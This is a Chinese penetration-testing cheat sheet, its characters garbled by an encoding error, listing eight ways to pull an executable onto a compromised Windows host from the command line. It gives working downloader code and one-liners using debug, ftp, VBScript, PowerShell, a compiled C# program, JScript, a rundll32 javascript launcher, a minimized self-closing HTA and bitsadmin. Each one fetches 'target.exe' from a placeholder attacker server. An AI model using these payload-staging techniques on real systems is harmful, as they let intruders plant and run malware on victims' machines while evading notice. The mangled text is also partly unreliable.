滲透技巧--通過cmd上傳文件的N種方法
1.debug
debug是一個程序調(diào)試工具,功能包括:(win7以上版本好像沒有)
- 直接輸入,更改,跟蹤,運(yùn)行匯編語言源程序
- 觀察操作系統(tǒng)的內(nèi)容
- 查看ROM BIOS的內(nèi)容
- 觀察更改RAM內(nèi)部的設(shè)置值
- 以扇區(qū)或文件的方式讀寫軟盤數(shù)據(jù)
- 特別的是它還有一個功能可以將十六進(jìn)制代碼轉(zhuǎn)換為可執(zhí)行文件:hex
思路:
- 把需要上傳的exe轉(zhuǎn)換成十六進(jìn)制hex的形式
- 通過echo命令將hex代碼寫入文件
- 使用debug功能將hex代碼還原出exe文件
操作
[kali]
cd /usr/share/windows-binaries
wine exe2bat.exe input.exe output.txt
# 只適用于小于64kb的文件
[windows]
復(fù)制output.txt文件到cmd執(zhí)行
2.ftp
搭建好ftp服務(wù)器
[windows cmd]
ftp
ftp>open ip:port
ftp>username
ftp>password
ftp>get target.exe
3.vbs
vbs downloader,使用msxml2.xmlhttp和adodb.stream對象
對應(yīng)到cmd下的命令為:
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://server_ip/target.exe",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "C:\test\target .exe",2 >>download.vbs
按順序依次執(zhí)行后會生成download.vbs,然后執(zhí)行download.vbs即可實(shí)現(xiàn)下載target.exe
4.powershell
powershell (new-object System.Net.WebClient).DownloadFile( 'http://server_ip/target.exe','C:\test\target.exe')
5. csharp
csc.exe是微軟.NET Framework 中的C#編譯器,Windows系統(tǒng)中默認(rèn)包含,可在命令行下將cs文件編譯成exe使用echo將代碼依次寫入文件download.cs中,然后調(diào)用csc.exe編譯cs文件
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:C:\download.exe C:\download.cs
csc.exe的絕對路徑要根據(jù)系統(tǒng)的.net版本來確定
using System.Net;
namespace downloader
{
class Program
{
static void Main(string[] args)
{
WebClient client = new WebClient();
string URLAddress = @"http://server_ip/target.exe";
string receivePath = @"C:\file_directory\";
client.DownloadFile(URLAddress, receivePath + System.IO.Path.GetFileName
(URLAddress));
}
}
}
6.js
相比于JSRat中用的 Scripting.FileSystemObject換用 ADODB.Stream實(shí)現(xiàn)起來更加簡單高效
以下代碼依次保存為js文件,直接執(zhí)行即可實(shí)現(xiàn)下載文件
var Object = WScript.CreateObject("MSXML2.XMLHTTP");
Object.open("GET","http://server_ip/target.exe",false);
Object.send();
if (Object.Status == 200)
{
var Stream = WScript.CreateObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\target.exe", 2);
Stream.Close();
}
合并成rundll32的一句話(類似于JSRat的啟動方式):
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";
document.write();
Object=new%20ActiveXObject("Microsoft.XMLHTTP");
Object.open("GET","http://server_ip/target.exe",false);Object.send();
if(Object.Status==200){Stream=new%20ActiveXObject("ADODB.Stream");
Stream.Open();
Stream.Type=1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\target.exe",2);
Stream.Close();}
7、hta
添加最小化和自動退出hta程序的功能,執(zhí)行過程中會最小化hta窗口,下載文件結(jié)束后自動退出hta程序以下代碼保存為.hta文件:
<html>
<head>
<script>
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://server_ip/target.exe",false);
Object.send();
if (Object.Status == 200)
{
var Stream = new ActiveXObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\target.exe", 2);
Stream.Close();
}
window.close();
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</head>
<body>
</body>
</html>
8、bitsadmin
bitsadmin是一個命令行工具,可用于創(chuàng)建下載或上傳工作和監(jiān)測其進(jìn)展情況。xp以后的Windows系統(tǒng)自帶
使用方法:
bitsadmin /transfer n download_url save_path/filename.*